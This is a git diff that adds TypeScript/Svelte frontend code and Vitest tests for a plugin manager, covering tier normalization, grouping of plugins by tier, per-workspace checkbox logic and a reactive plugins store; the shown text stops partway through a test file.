+ * "Reset layout to default" affordance — the modal is the natural home (it
+ * is where users manage the layout plugins themselves). Wired by the
+ * composition root over the layout store; absent → the section doesn't
+ * render (tests).
+ */
+export interface WorkspaceLayoutPort {
+ /**
+ * Whether a layout provider is active (the reset button's gate). False →
+ * the button is DISABLED with the reason shown ("no layout plugin
+ * enabled") — there is nothing to reset and no persistence to re-seed.
+ */
+ readonly providerActive: boolean;
+ /**
+ * Reset the workspace's layout to the default seed (`DELETE
+ * /workspaces/:id/layout` → re-seed → broadcast). Resolves to `null` on
+ * success or to the failure reason to display.
+ */
+ readonly reset: (workspaceId: string) => Promise<string | null>;
+ /**
+ * The workspace's PER-WORKSPACE PLUGIN STATE changed (the modal just
+ * toggled a plugin's enablement): the layout plugin that serves THIS
+ * workspace may have changed (the per-workspace activation rule) — the
+ * composition root re-probes the layout so the newly-enabled provider's
+ * tree (or the no-provider degrade) lands without a reload. Only the
+ * ACTIVE workspace's toggle re-renders; others are ignored by the store.
+ */
+ readonly refresh: (workspaceId: string) => void;
+}
+
+/**
+ * Runtime-normalize a tier value to the canonical THREE: anything that is not
+ * exactly `core` | `providers` | `standard` — a missing tier, or a value
+ * outside the contract ("kernel" is NOT a tier; the kernel hosts plugins, it
+ * is not one) — folds into `"standard"`, the safe catch-all classification.
+ * The wire contract pins the three values, so this only ever fires on a
+ * contract violation (the backend rejects tierless externals at boot and
+ * directory-scanned plugins fail manifest validation); folding rather than
+ * surfacing the raw value keeps every tier-keyed consumer total — e.g.
+ * `tierLabel`'s exhaustive switch (an out-of-contract value would render an
+ * empty badge) and the manager table's keyed grouping (a non-canonical key
+ * would create a second, colliding group).
+ */
+export function normalizeTier(tier: unknown): PluginTier {
+ return tier === "core" || tier === "providers" || tier === "standard" ? tier : "standard";
+}
diff --git a/src/features/plugins/logic/view-model.test.ts b/src/features/plugins/logic/view-model.test.ts
new file mode 100644
index 0000000..661cade
--- /dev/null
+++ b/src/features/plugins/logic/view-model.test.ts
@@ -0,0 +1,296 @@
+import type { PluginListResponse, PluginTier } from "@dispatch/transport-contract";
+import { describe, expect, it } from "vitest";
+import { emptyListResponse, node } from "./test-fixtures";
+import { groupByTier, pluginNodes, splitSections, withFrontendStates } from "./view-model";
+
+function listResponse(overrides: Partial<PluginListResponse> = {}): PluginListResponse {
+ return {
+ loaded: [
+ {
+ id: "kernel",
+ name: "Kernel",
+ version: "1.0.0",
+ tier: "core",
+ trust: "bundled",
+ locked: true,
+ dependsOn: [],
+ },
+ {
+ id: "opencode",
+ name: "OpenCode",
+ version: "2.0.0",
+ tier: "providers",
+ trust: "bundled",
+ locked: false,
+ dependsOn: ["kernel"],
+ },
+ ],
+ disabledWithReason: [
+ {
+ id: "broken",
+ name: "Broken",
+ version: "0.1.0",
+ tier: "standard",
+ trust: "local",
+ reason: "activation threw",
+ },
+ ],
+ discovered: [
+ {
+ id: "fresh",
+ name: "Fresh",
+ version: "3.0.0",
+ tier: "standard",
+ trust: "external",
+ dir: "/plugins/fresh",
+ },
+ ],
+ missing: [{ id: "gone", reason: "directory is gone", disabledAt: "2026-01-01" }],
+ ...overrides,
+ };
+}
+
+describe("pluginNodes", () => {
+ it("normalizes every row kind into one node shape", () => {
+ const nodes = pluginNodes(listResponse());
+ expect(nodes.map((n) => n.id)).toEqual(["kernel", "opencode", "broken", "fresh", "gone"]);
+ });
+
+ it("maps loaded rows (loaded: true, locked from the row, deps kept)", () => {
+ const nodes = pluginNodes(listResponse());
+ const kernel = nodes.find((n) => n.id === "kernel");
+ expect(kernel).toMatchObject({
+ loaded: true,
+ locked: true,
+ tier: "core",
+ section: "loaded",
+ dependsOn: [],
+ reason: null,
+ });
+ const opencode = nodes.find((n) => n.id === "opencode");
+ expect(opencode).toMatchObject({ loaded: true, locked: false, dependsOn: ["kernel"] });
+ });
+
+ it("maps disabledWithReason rows (unloaded, reason kept, discovered section)", () => {
+ const nodes = pluginNodes(listResponse());
+ const broken = nodes.find((n) => n.id === "broken");
+ expect(broken).toMatchObject({
+ loaded: false,
+ locked: false,
+ reason: "activation threw",
+ section: "discovered",
+ });
+ });
+
+ it("maps discovered rows (unloaded, no reason)", () => {
+ const nodes = pluginNodes(listResponse());
+ const fresh = nodes.find((n) => n.id === "fresh");
+ expect(fresh).toMatchObject({ loaded: false, reason: null, section: "discovered" });
+ });
+
+ it("maps missing rows (greyed strip; no trust/version)", () => {
+ const nodes = pluginNodes(listResponse());
+ const gone = nodes.find((n) => n.id === "gone");
+ expect(gone).toMatchObject({
+ loaded: false,
+ section: "missing",
+ reason: "directory is gone",
+ trust: null,
+ version: "",
+ });
+ });
+
+ it("handles the empty response", () => {
+ expect(pluginNodes(emptyListResponse())).toEqual([]);
+ });
+
+ it("normalizes a missing/unknown tier at the boundary so node tiers are canonical", () => {
+ // Contract-violation casts: the wire type pins three tier values, but the
+ // view-model must survive a backend that emits a tierless or out-of-
+ // contract row (the original duplicate-key crash trigger).
+ const response = listResponse({
+ loaded: [
+ {
+ id: "kernel",
+ name: "Kernel",
+ version: "1.0.0",
+ tier: "core",
+ trust: "bundled",
+ locked: true,
+ dependsOn: [],
+ },
+ {
+ id: "tierless",
+ name: "Tierless",
+ version: "1.0.0",
+ tier: undefined as unknown as PluginTier,
+ trust: "external",
+ locked: false,
+ dependsOn: [],
+ },
+ {
+ id: "kernelish",
+ name: "Kernelish",
+ version: "1.0.0",
+ tier: "kernel" as unknown as PluginTier,
+ trust: "external",
+ locked: false,
+ dependsOn: [],
+ },
+ ],
+ });
+ const nodes = pluginNodes(response);
+ expect(nodes.find((n) => n.id === "tierless")?.tier).toBe("standard");
+ expect(nodes.find((n) => n.id === "kernelish")?.tier).toBe("standard");
+
+ // The Loaded table's grouping: exactly two groups (core + standard), no
+ // duplicate keys, every row present.
+ const groups = groupByTier(nodes.filter((n) => n.section === "loaded"));
+ const keys = groups.map((g) => g.tier);
+ expect(new Set(keys).size).toBe(keys.length);
+ expect(keys).toEqual(["core", "standard"]);
+ expect(groups[0]?.rows.map((r) => r.id)).toEqual(["kernel"]);
+ expect(groups[1]?.rows.map((r) => r.id)).toEqual(["kernelish", "tierless"]);
+ });
+});
+
+describe("groupByTier", () => {
+ it("clusters rows in tier display order (Core → Providers → Standard)", () => {
+ const nodes = pluginNodes(listResponse());
+ const groups = groupByTier(nodes.filter((n) => n.section === "loaded"));
+ expect(groups.map((g) => g.tier)).toEqual(["core", "providers"]);
+ expect(groups[0]?.rows.map((r) => r.id)).toEqual(["kernel"]);
+ });
+
+ it("omits empty tiers", () => {
+ const groups = groupByTier([pluginNodes(listResponse())[2] ?? []].flat());
+ expect(groups.map((g) => g.tier)).toEqual(["standard"]);
+ });
+
+ it("emits one group per canonical tier, all three present", () => {
+ const groups = groupByTier([
+ node({ id: "s", tier: "standard" }),
+ node({ id: "c", tier: "core" }),
+ node({ id: "p", tier: "providers" }),
+ ]);
+ expect(groups.map((g) => g.tier)).toEqual(["core", "providers", "standard"]);
+ expect(groups.flatMap((g) => g.rows.map((r) => r.id))).toEqual(["c", "p", "s"]);
+ });
+
+ it("never emits duplicate group keys — an unknown tier folds into standard", () => {
+ // Contract violation cast: "kernel" is NOT a tier (the kernel hosts
+ // plugins, it is not one). groupByTier must stay total anyway.
+ const groups = groupByTier([
+ node({ id: "s-row", tier: "standard" }),
+ node({ id: "k-row", tier: "kernel" as PluginTier }),
+ ]);
+ const keys = groups.map((g) => g.tier);
+ // No duplicates (the keyed each `(group.tier)` crashes on them)…
+ expect(new Set(keys).size).toBe(keys.length);
+ // …and the unknown-tier row is NOT dropped — it merges into standard.
+ expect(keys).toEqual(["standard"]);
+ expect(groups[0]?.rows.map((r) => r.id)).toEqual(["k-row", "s-row"]);
+ });
+
+ it("never emits duplicate group keys — a missing tier folds into standard", () => {
+ const groups = groupByTier([
+ node({ id: "s-row", tier: "standard" }),
+ node({ id: "m-row", tier: undefined as unknown as PluginTier }),
+ ]);
+ const keys = groups.map((g) => g.tier);
+ expect(new Set(keys).size).toBe(keys.length);
+ expect(keys).toEqual(["standard"]);
+ expect(groups[0]?.rows.map((r) => r.id)).toEqual(["m-row", "s-row"]);
+ });
+
+ it("keeps unknown/missing tiers out of the canonical groups' identity (no second standard group)", () => {
+ // The old implementation pushed a trailing "rest" group keyed
+ // `rest[0]?.tier ?? "standard"` — a DUPLICATE standard key when canonical
+ // standard rows existed (the headless-Chromium each_key_duplicate crash).
+ const groups = groupByTier([
+ node({ id: "a", tier: "standard" }),
+ node({ id: "b", tier: "bogus" as PluginTier }),
+ node({ id: "c", tier: undefined as unknown as PluginTier }),
+ ]);
+ expect(groups.map((g) => g.tier)).toEqual(["standard"]);
+ expect(groups[0]?.rows).toHaveLength(3);
+ });
+});
+
+describe("splitSections", () => {
+ it("splits the node list into the two tables + the missing strip", () => {
+ const sections = splitSections(pluginNodes(listResponse()));
+ expect(sections.loaded.map((n) => n.id)).toEqual(["kernel", "opencode"]);
+ expect(sections.discovered.map((n) => n.id)).toEqual(["broken", "fresh"]);
+ expect(sections.missing.map((n) => n.id)).toEqual(["gone"]);
+ });
+});
+
+// ── withFrontendStates (plan 03) — the manager rows' FE-half issues ─────────
+
+describe("withFrontendStates", () => {
+ function listWith(...ids: readonly string[]): PluginListResponse {
+ return {
+ loaded: ids.map((id) => ({
+ id,
+ name: id,
+ version: "1.0.0",
+ tier: "standard" as const,
+ trust: "local" as const,
+ locked: false,
+ dependsOn: [],
+ })),
+ disabledWithReason: [],
+ discovered: [],
+ missing: [],
+ };
+ }
+
+ it("renders the plan-mandated grammar for an incompatible FE half", () => {
+ const nodes = pluginNodes(listWith("bad"));
+ const states = new Map([["bad", { kind: "incompatible", apiVersion: "^2" } as const]]);
+ const out = withFrontendStates(nodes, states);
+ expect(out[0]?.frontendIssue).toBe("incompatible frontend plugin");
+ });
+
+ it("renders the activation error for a failed FE half", () => {
+ const nodes = pluginNodes(listWith("broken"));
+ const states = new Map([["broken", { kind: "failed", error: "boom" } as const]]);
+ const out = withFrontendStates(nodes, states);
+ expect(out[0]?.frontendIssue).toBe("frontend failed: boom");
+ });
+
+ it("a loaded FE half adds no issue line; absent states add none", () => {
+ const nodes = pluginNodes(listWith("ok", "no-fe"));
+ const states = new Map([["ok", { kind: "loaded" } as const]]);
+ const out = withFrontendStates(nodes, states);
+ expect(out.find((n) => n.id === "ok")?.frontendIssue).toBeUndefined();
+ expect(out.find((n) => n.id === "no-fe")?.frontendIssue).toBeUndefined();
+ });
+
+ it("never annotates non-loaded sections (discovered / missing rows)", () => {
+ const response: PluginListResponse = {
+ loaded: [],
+ disabledWithReason: [],
+ discovered: [
+ {
+ id: "dis",
+ name: "dis",
+ version: "1.0.0",
+ tier: "standard",
+ trust: "local",
+ dir: "/plugins/dis",
+ },
+ ],
+ missing: [],
+ };
+ const states = new Map([["dis", { kind: "failed", error: "boom" } as const]]);
+ const out = withFrontendStates(pluginNodes(response), states);
+ expect(out[0]?.frontendIssue).toBeUndefined();
+ });
+
+ it("an empty state map is the identity (no allocation on the hot path)", () => {
+ const nodes = pluginNodes(listWith("a"));
+ expect(withFrontendStates(nodes, new Map())).toBe(nodes);
+ });
+});
diff --git a/src/features/plugins/logic/view-model.ts b/src/features/plugins/logic/view-model.ts
new file mode 100644
index 0000000..5a66ffa
--- /dev/null
+++ b/src/features/plugins/logic/view-model.ts
@@ -0,0 +1,160 @@
+import type { PluginListResponse } from "@dispatch/transport-contract";
+import type { FrontendPluginState } from "../../../core/plugin-abi";
+import { normalizeTier, type PluginNode, type PluginSection, TIER_ORDER } from "./types";
+
+/**
+ * Normalize a `GET /plugins` response into the flat `PluginNode` list the
+ * manager tables + graph logic consume. Each response row kind maps to a
+ * node:
+ * - `loaded` → section "loaded" (`loaded: true`, `locked` from the row —
+ * tier "core" is always locked);
+ * - `disabledWithReason` → section "discovered" with the refusal `reason`
+ * (present on disk, refused/failed — greyed rows with a visible why);
+ * - `discovered` → section "discovered" (`loaded: false`, unchecked);
+ * - `missing` → section "missing" (override record whose directory is gone).
+ *
+ * Pure input → output; zero DOM/fetch.
+ */
+export function pluginNodes(response: PluginListResponse): readonly PluginNode[] {
+ const nodes: PluginNode[] = [];
+ for (const row of response.loaded) {
+ nodes.push({
+ id: row.id,
+ name: row.name,
+ version: row.version,
+ // Normalize at the boundary: a missing/out-of-contract tier (backend
+ // bug, stale contract) folds into "standard" so every node's tier is
+ // canonical and the tier-keyed consumers below stay total.
+ tier: normalizeTier(row.tier),
+ trust: row.trust,
+ loaded: true,
+ locked: row.locked,
+ dependsOn: row.dependsOn,
+ reason: null,
+ section: "loaded",
+ });
+ }
+ for (const row of response.disabledWithReason) {
+ nodes.push({
+ id: row.id,
+ name: row.name,
+ version: row.version,
+ tier: normalizeTier(row.tier),
+ trust: row.trust,
+ loaded: false,
+ locked: false,
+ dependsOn: [],
+ reason: row.reason,
+ section: "discovered",
+ });
+ }
+ for (const row of response.discovered) {
+ nodes.push({
+ id: row.id,
+ name: row.name,
+ version: row.version,
+ tier: normalizeTier(row.tier),
+ trust: row.trust,
+ loaded: false,
+ locked: false,
+ dependsOn: [],
+ reason: null,
+ section: "discovered",
+ });
+ }
+ for (const row of response.missing) {
+ nodes.push({
+ id: row.id,
+ name: row.id,
+ version: "",
+ tier: "standard",
+ trust: null,
+ loaded: false,
+ locked: false,
+ dependsOn: [],
+ reason: row.reason ?? "directory is gone",
+ section: "missing",
+ });
+ }
+ return nodes;
+}
+
+/**
+ * Merge the frontend-plugin (plan 03) per-plugin FE states into the node
+ * list — the manager rows' `frontendIssue` line. Pure input → output:
+ * - `incompatible` → the plan-mandated "incompatible frontend plugin"
+ * grammar (the backend apiVersion-mismatch wording, FE half);
+ * - `failed` → the activation error (the FE half failed; the backend half
+ * stays loaded).
+ * Loaded rows only — the FE states never apply to discovered/missing rows.
+ */
+export function withFrontendStates(
+ nodes: readonly PluginNode[],
+ states: ReadonlyMap<string, FrontendPluginState>,
+): readonly PluginNode[] {
+ if (states.size === 0) return nodes;
+ return nodes.map((node) => {
+ if (node.section !== "loaded") return node;
+ const state = states.get(node.id);
+ if (state === undefined) return node;
+ const issue =
+ state.kind === "incompatible"
+ ? "incompatible frontend plugin"
+ : state.kind === "failed"
+ ? `frontend failed: ${state.error}`
+ : null;
+ return issue === null ? node : { ...node, frontendIssue: issue };
+ });
+}
+
+/**
+ * Cluster nodes for one manager table: tier groups in display order (Core →
+ * Providers → Standard), each tier's rows sorted by id. Tiers with no rows
+ * are omitted. Used by the loaded table's tier grouping (plan 07 §7.2).
+ *
+ * Duplicate-key-proof BY CONSTRUCTION: nodes are bucketed through a Map keyed
+ * by the NORMALIZED tier, so each of the three canonical tiers can yield at
+ * most one group — `PluginTable.svelte` renders a keyed each
+ * (`{#each groups as group (group.tier)}`), and a duplicate key throws
+ * `each_key_duplicate` in Svelte 5, aborting the whole manager render. The
+ * normalization also means an unknown/missing tier (contract violation — the
+ * backend rejects tierless externals at boot and directory scans fail
+ * validation) folds into the `standard` bucket instead of forming a separate
+ * trailing group; the old fallback (`rest[0]?.tier ?? "standard"`) produced a
+ * DUPLICATE `standard` key when canonical standard rows were present.
+ * groupByTier normalizes on the way in even though `pluginNodes` already
+ * does at the boundary — it is exported and must be safe for any caller.
+ */
+export function groupByTier(
+ nodes: readonly PluginNode[],
+): ReadonlyArray<{ readonly tier: PluginNode["tier"]; readonly rows: readonly PluginNode[] }> {
+ const byTier = new Map<PluginNode["tier"], PluginNode[]>();
+ for (const n of nodes) {
+ const tier = normalizeTier(n.tier);
+ const rows = byTier.get(tier);
+ if (rows) rows.push(n);
+ else byTier.set(tier, [n]);
+ }
+ const out: { tier: PluginNode["tier"]; rows: PluginNode[] }[] = [];
+ for (const tier of TIER_ORDER) {
+ const rows = byTier.get(tier);
+ if (!rows || rows.length === 0) continue;
+ out.push({ tier, rows: rows.sort((a, b) => a.id.localeCompare(b.id)) });
+ }
+ return out;
+}
+
+/** Split nodes into the manager's two tables + the missing strip. */
+export function splitSections(nodes: readonly PluginNode[]): {
+ readonly loaded: readonly PluginNode[];
+ readonly discovered: readonly PluginNode[];
+ readonly missing: readonly PluginNode[];
+} {
+ const bySection = (section: PluginSection): PluginNode[] =>
+ nodes.filter((n) => n.section === section);
+ return {
+ loaded: bySection("loaded"),
+ discovered: bySection("discovered"),
+ missing: bySection("missing"),
+ };
+}
diff --git a/src/features/plugins/logic/workspace-row.test.ts b/src/features/plugins/logic/workspace-row.test.ts
new file mode 100644
index 0000000..4c7d29e
--- /dev/null
+++ b/src/features/plugins/logic/workspace-row.test.ts
@@ -0,0 +1,67 @@
+import type { WorkspacePluginRow } from "@dispatch/transport-contract";
+import { describe, expect, it } from "vitest";
+import { rowBlockReason, rowChecked, rowSelectable, stateLabel } from "./workspace-row";
+
+function row(overrides: Partial<WorkspacePluginRow> = {}): WorkspacePluginRow {
+ return {
+ pluginId: "mcp",
+ tier: "standard",
+ state: "undefined",
+ loaded: true,
+ locked: false,
+ ...overrides,
+ };
+}
+
+describe("rowChecked", () => {
+ it("is true only for an explicit enabled record", () => {
+ expect(rowChecked(row({ state: "enabled" }))).toBe(true);
+ expect(rowChecked(row({ state: "disabled" }))).toBe(false);
+ expect(rowChecked(row({ state: "undefined" }))).toBe(false);
+ });
+});
+
+describe("rowSelectable", () => {
+ it("is true for a loaded, unlocked row (all three states)", () => {
+ for (const state of ["enabled", "disabled", "undefined"] as const) {
+ expect(rowSelectable(row({ state }))).toBe(true);
+ }
+ });
+
+ it("is false for an UNLOADED plugin (§7 strict layering — greyed out)", () => {
+ expect(rowSelectable(row({ loaded: false, state: "disabled" }))).toBe(false);
+ });
+
+ it("is false for a LOCKED (core) row — the server refuses the PUT (409)", () => {
+ expect(rowSelectable(row({ tier: "core", locked: true, state: "enabled" }))).toBe(false);
+ });
+});
+
+describe("rowBlockReason", () => {
+ it("points at the global manager for unloaded plugins", () => {
+ const reason = rowBlockReason(row({ loaded: false }));
+ expect(reason).toContain("plugin manager");
+ });
+
+ it("explains the core lock", () => {
+ const reason = rowBlockReason(row({ tier: "core", locked: true }));
+ expect(reason).toContain("Core plugins are enabled by default");
+ });
+
+ it("prefers the unloaded reason when both apply", () => {
+ const reason = rowBlockReason(row({ loaded: false, tier: "core", locked: true }));
+ expect(reason).toContain("plugin manager");
+ });
+
+ it("is null for an interactive row", () => {
+ expect(rowBlockReason(row())).toBeNull();
+ });
+});
+
+describe("stateLabel", () => {
+ it("renders the three wire states in a uniform grammar", () => {
+ expect(stateLabel("enabled")).toBe("enabled");
+ expect(stateLabel("disabled")).toBe("disabled");
+ expect(stateLabel("undefined")).toBe("not set");
+ });
+});
diff --git a/src/features/plugins/logic/workspace-row.ts b/src/features/plugins/logic/workspace-row.ts
new file mode 100644
index 0000000..c85b759
--- /dev/null
+++ b/src/features/plugins/logic/workspace-row.ts
@@ -0,0 +1,54 @@
+import type { WorkspacePluginRow, WorkspacePluginStateValue } from "@dispatch/transport-contract";
+
+/**
+ * Pure helpers for the per-workspace plugin modal (plan 06 §6.6 wire rows →
+ * checkbox semantics). Zero DOM.
+ *
+ * State model (backend-canonical): `"enabled"` / `"disabled"` — an explicit
+ * record — or `"undefined"` for NO record (the blank slate; behaves disabled
+ * for Providers/Standard). Core rows arrive materialized `enabled` (Q-A).
+ */
+
+/** Whether the modal checkbox is checked for a row (explicit `enabled` only). */
+export function rowChecked(row: WorkspacePluginRow): boolean {
+ return row.state === "enabled";
+}
+
+/**
+ * Whether the row's checkbox is selectable. Two unselectable cases (§7
+ * strict layering + plan 06 §6.6):
+ * - the plugin is NOT loaded globally → greyed out and unselectable (only the
+ * global manager loads code);
+ * - the server reports the row locked (tier "core") → the server refuses the
+ * PUT (`core-locked` 409), so the control is disabled with a tooltip.
+ */
+export function rowSelectable(row: WorkspacePluginRow): boolean {
+ return row.loaded && !row.locked;
+}
+
+/**
+ * Why the row is unselectable (tooltip text), or null when interactive.
+ * Unloaded beats locked in the copy (the user's actionable next step is the
+ * global manager).
+ */
+export function rowBlockReason(row: WorkspacePluginRow): string | null {
+ if (!row.loaded) {
+ return "Not loaded globally — load it in the plugin manager first (only the manager loads code).";
+ }
+ if (row.locked) {
+ return "Core plugins are enabled by default in every workspace and managed globally.";
+ }
+ return null;
+}
+
+/** The effective-state label shown next to a row (uniform three-state grammar). */
+export function stateLabel(state: WorkspacePluginStateValue): string {
+ switch (state) {
+ case "enabled":
+ return "enabled";
+ case "disabled":
+ return "disabled";
+ case "undefined":
+ return "not set";
+ }
+}
diff --git a/src/features/plugins/store.svelte.ts b/src/features/plugins/store.svelte.ts
new file mode 100644
index 0000000..fe48940
--- /dev/null
+++ b/src/features/plugins/store.svelte.ts
@@ -0,0 +1,218 @@
+import type {
+ PluginListResponse,
+ SetWorkspacePluginStateRequest,
+ WorkspacePluginRow,
+} from "@dispatch/transport-contract";
+import type { FrontendPluginState } from "../../core/plugin-abi";
+import type { PluginOpResult, PluginScanResult, PluginsHttp } from "./adapter/http";
+import type { PluginNode } from "./logic/types";
+import { pluginNodes } from "./logic/view-model";
+
+/**
+ * Plugins store — a thin reactive wrapper over the injected `PluginsHttp`
+ * edge (the workspaces-store pattern). Owns:
+ * - the manager's plugin list (`GET /plugins`) normalized to `PluginNode`s;
+ * - ONE open workspace modal's view (`GET /workspaces/:id/plugins` — read-through
+ * materialization makes this first read the workspace's "open");
+ * - pending/error state for the mutations.
+ *
+ * Multi-client coherence (§11): the composition root calls
+ * `onExtensionsChanged()` when the server broadcasts `extensions-changed` —
+ * the store refetches the list (and the open workspace view), so every
+ * connected client converges. No ambient state: one instance per composition
+ * root, passed explicitly; no module-level mutables.
+ */
+export interface PluginsStore {
+ /** The last `GET /plugins` response (null until the first fetch lands). */
+ readonly list: PluginListResponse | null;
+ /** The normalized nodes across ALL sections (loaded + discovered + missing). */
+ readonly nodes: readonly PluginNode[];
+ readonly loading: boolean;
+ /** The last mutation/scan/load error message, or null. */
+ readonly error: string | null;
+ /** The manual scan's result (null until a scan ran), for the summary line. */
+ readonly lastScan: PluginScanResult | null;
+
+ /** Refetch `GET /plugins`. */
+ refresh(): Promise<void>;
+ /** `POST /plugins/scan` (manual; the server never auto-loads new plugins). */
+ scan(): Promise<PluginScanResult>;
+ /** `POST /plugins/:id/load`. */
+ load(id: string): Promise<PluginOpResult>;
+ /** `POST /plugins/:id/unload` with `{ force }` (the §8 force semantics). */
+ unload(id: string, force: boolean): Promise<PluginOpResult>;
+ /** `POST /plugins/:id/reload`. */
+ reload(id: string): Promise<PluginOpResult>;
+
+ /**
+ * The open workspace modal's rows (null when nothing loaded yet). Cleared
+ * IMMEDIATELY on open so a slow/failing fetch never shows the previous
+ * workspace's rows (the refreshCwd/refreshComputer pattern).
+ */
+ readonly workspaceView: WorkspacePluginsView | null;
+ /** Load/reload the workspace modal's view (`GET /workspaces/:id/plugins`). */
+ openWorkspace(workspaceId: string): Promise<void>;
+ /**
+ * Write one plugin's state in one workspace (`PUT .../plugins/:pluginId`).
+ * On success the open view's row is updated in place from the response; on
+ * failure the error is surfaced AND the view refetched (server-authoritative
+ * reconciliation — the checkbox never lies).
+ */
+ setWorkspaceState(
+ workspaceId: string,
+ pluginId: string,
+ state: SetWorkspacePluginStateRequest["state"],
+ ): Promise<void>;
+
+ /**
+ * Multi-client coherence hook (§11): the composition root calls
+ * `onExtensionsChanged()` when the server broadcasts `extensions-changed` —
+ * the store refetches the list (and the open workspace view), so every
+ * connected client converges. Fire-and-forget.
+ */
+ onExtensionsChanged(): void;
+
+ /**
+ * The frontend-plugin (plan 03) per-plugin FE states — reported by the
+ * plugin host after every driver sync. Rendered by the manager rows:
+ * `incompatible` → "incompatible frontend plugin" (the backend-mismatch
+ * grammar), `failed` → the activation error. Absent = no FE section.
+ */
+ readonly frontendStates: ReadonlyMap<string, FrontendPluginState>;
+ /** The plugin host's post-sync report (the only writer). */
+ setFrontendStates(states: ReadonlyMap<string, FrontendPluginState>): void;
+}
+
+/** One open workspace modal's view (rows + materialized provider count). */
+export interface WorkspacePluginsView {
+ readonly workspaceId: string;
+ readonly rows: readonly WorkspacePluginRow[];
+ /** Loaded provider-tier plugins effectively enabled here (§6.5). */
+ readonly enabledProviderCount: number;
+}
+
+export function createPluginsStore(http: PluginsHttp): PluginsStore {
+ let list = $state<PluginListResponse | null>(null);
+ let loading = $state(false);
+ let error = $state<string | null>(null);
+ let lastScan = $state<PluginScanResult | null>(null);
+ let workspaceView = $state<WorkspacePluginsView | null>(null);
+ let frontendStates = $state<ReadonlyMap<string, FrontendPluginState>>(new Map());
+
+ // Normalized nodes — derived so the graph logic re-runs only when the list
+ // changes, not on every read.
+ const nodes = $derived<readonly PluginNode[]>(list === null ? [] : pluginNodes(list));
+
+ return {
+ get list(): PluginListResponse | null {
+ return list;
+ },
+ get nodes(): readonly PluginNode[] {
+ return nodes;
+ },
+ get loading(): boolean {
+ return loading;
+ },
+ get error(): string | null {
+ return error;
+ },
+ get lastScan(): PluginScanResult | null {
+ return lastScan;
+ },
+ get workspaceView(): WorkspacePluginsView | null {
+ return workspaceView;
+ },
+
+ async refresh(): Promise<void> {
+ loading = true;
+ const data = await http.list();
+ if (data !== null) list = data;
+ loading = false;
+ },
+
+ async scan(): Promise<PluginScanResult> {
+ error = null;
+ const result = await http.scan();
+ lastScan = result;
+ if (!result.ok) error = result.error;
+ // A scan broadcasts `extensions-changed` server-side; refresh anyway so
+ // the manager is coherent even without a WS connection.
+ await this.refresh();
+ return result;
+ },
+
+ async load(id): Promise<PluginOpResult> {
+ error = null;
+ const result = await http.load(id);
+ if (!result.ok) error = result.error;
+ await this.refresh();
+ return result;
+ },
+
+ async unload(id, force): Promise<PluginOpResult> {
+ error = null;
+ const result = await http.unload(id, force);
+ if (!result.ok) error = result.error;
+ await this.refresh();
+ return result;
+ },
+
+ async reload(id): Promise<PluginOpResult> {
+ error = null;
+ const result = await http.reload(id);
+ if (!result.ok) error = result.error;
+ await this.refresh();
+ return result;
+ },
+
+ async openWorkspace(workspaceId): Promise<void> {
+ // Clear immediately so a slow/failing fetch never shows the PREVIOUS
+ // workspace's rows in the new modal.
+ workspaceView = null;
+ const data = await http.workspacePlugins(workspaceId);
+ if (data === null) {
+ error = `Failed to load plugins for workspace "${workspaceId}"`;
+ return;
+ }
+ workspaceView = {
+ workspaceId: data.workspaceId,
+ rows: data.plugins,
+ enabledProviderCount: data.enabledProviderCount,
+ };
+ },
+
+ async setWorkspaceState(workspaceId, pluginId, state): Promise<void> {
+ const result = await http.setWorkspaceState(workspaceId, pluginId, state);
+ if (result.ok) {
+ // Server-authoritative in-place row update (the response carries the
+ // resulting effective state — "undefined" after "unset").
+ if (workspaceView?.workspaceId === workspaceId) {
+ const rows = workspaceView.rows.map(
+ (row): WorkspacePluginRow =>
+ row.pluginId === pluginId ? { ...row, state: result.response.state } : row,
+ );
+ workspaceView = { ...workspaceView, rows };
+ }
+ return;
+ }
+ error = result.error;
+ // Refusal (409 core-locked / unloaded) or failure — reconcile from the
+ // server so the checkbox never lies.
+ await this.openWorkspace(workspaceId);
+ },
+
+ onExtensionsChanged(): void {
+ void this.refresh();
+ const open = workspaceView?.workspaceId;
+ if (open !== undefined) void this.openWorkspace(open);
+ },
+
+ get frontendStates(): ReadonlyMap<string, FrontendPluginState> {
+ return frontendStates;
+ },
+
+ setFrontendStates(states: ReadonlyMap<string, FrontendPluginState>): void {
+ frontendStates = states;
+ },
+ };
+}
diff --git a/src/features/plugins/store.test.ts b/src/features/plugins/store.test.ts
new file mode 100644
index 0000000..be301ee
--- /dev/null
+++ b/src/features/plugins/store.test.ts
@@ -0,0 +1,183 @@
+import type { PluginListResponse, WorkspacePluginsResponse } from "@dispatch/transport-contract";
+import { describe, expect, it, vi } from "vitest";
+import type {
+ PluginOpResult,
+ PluginScanResult,
+ PluginsHttp,
+ WorkspaceStateResult,
+} from "./adapter/http";
+import { createPluginsStore } from "./store.svelte";
+
+const listResponse: PluginListResponse = {
+ loaded: [
+ {
+ id: "kernel",
+ name: "Kernel",
+ version: "1.0.0",
+ tier: "core",
+ trust: "bundled",
+ locked: true,
+ dependsOn: [],
+ },
+ ],
+ disabledWithReason: [],
+ discovered: [
+ {
+ id: "fresh",
+ name: "Fresh",
+ version: "1.0.0",
+ tier: "standard",
+ trust: "external",
+ dir: "/plugins/fresh",
+ },
+ ],
+ missing: [],
+};
+
+const wsResponse: WorkspacePluginsResponse = {
+ workspaceId: "ws",
+ plugins: [
+ { pluginId: "kernel", tier: "core", state: "enabled", loaded: true, locked: true },
+ { pluginId: "mcp", tier: "standard", state: "undefined", loaded: true, locked: false },
+ ],
+ enabledProviderCount: 1,
+};
+
+/** A fake PluginsHttp with a controllable list + workspace response. */
+function fakeHttp(opts: {
+ list?: PluginListResponse | null;
+ workspacePlugins?: WorkspacePluginsResponse | null;
+}) {
+ // `=== undefined` (not `??`) so an explicit `null` override defeats the default.
+ const list = () => (opts.list === undefined ? listResponse : opts.list);
+ const ws = () => (opts.workspacePlugins === undefined ? wsResponse : opts.workspacePlugins);
+ const opOk = (action: "load" | "unload" | "reload") => ({ ok: true, action, id: "x" }) as const;
+ return {
+ list: vi.fn(async (): Promise<PluginListResponse | null> => list()),
+ scan: vi.fn(
+ async (): Promise<PluginScanResult> => ({
+ ok: true,
+ response: { root: "/plugins", newPlugins: [], invalid: [], incompatible: [] },
+ }),
+ ),
+ load: vi.fn(async (): Promise<PluginOpResult> => ({ ok: true, response: opOk("load") })),
+ unload: vi.fn(async (): Promise<PluginOpResult> => ({ ok: true, response: opOk("unload") })),
+ reload: vi.fn(async (): Promise<PluginOpResult> => ({ ok: true, response: opOk("reload") })),
+ workspacePlugins: vi.fn(async (): Promise<WorkspacePluginsResponse | null> => ws()),
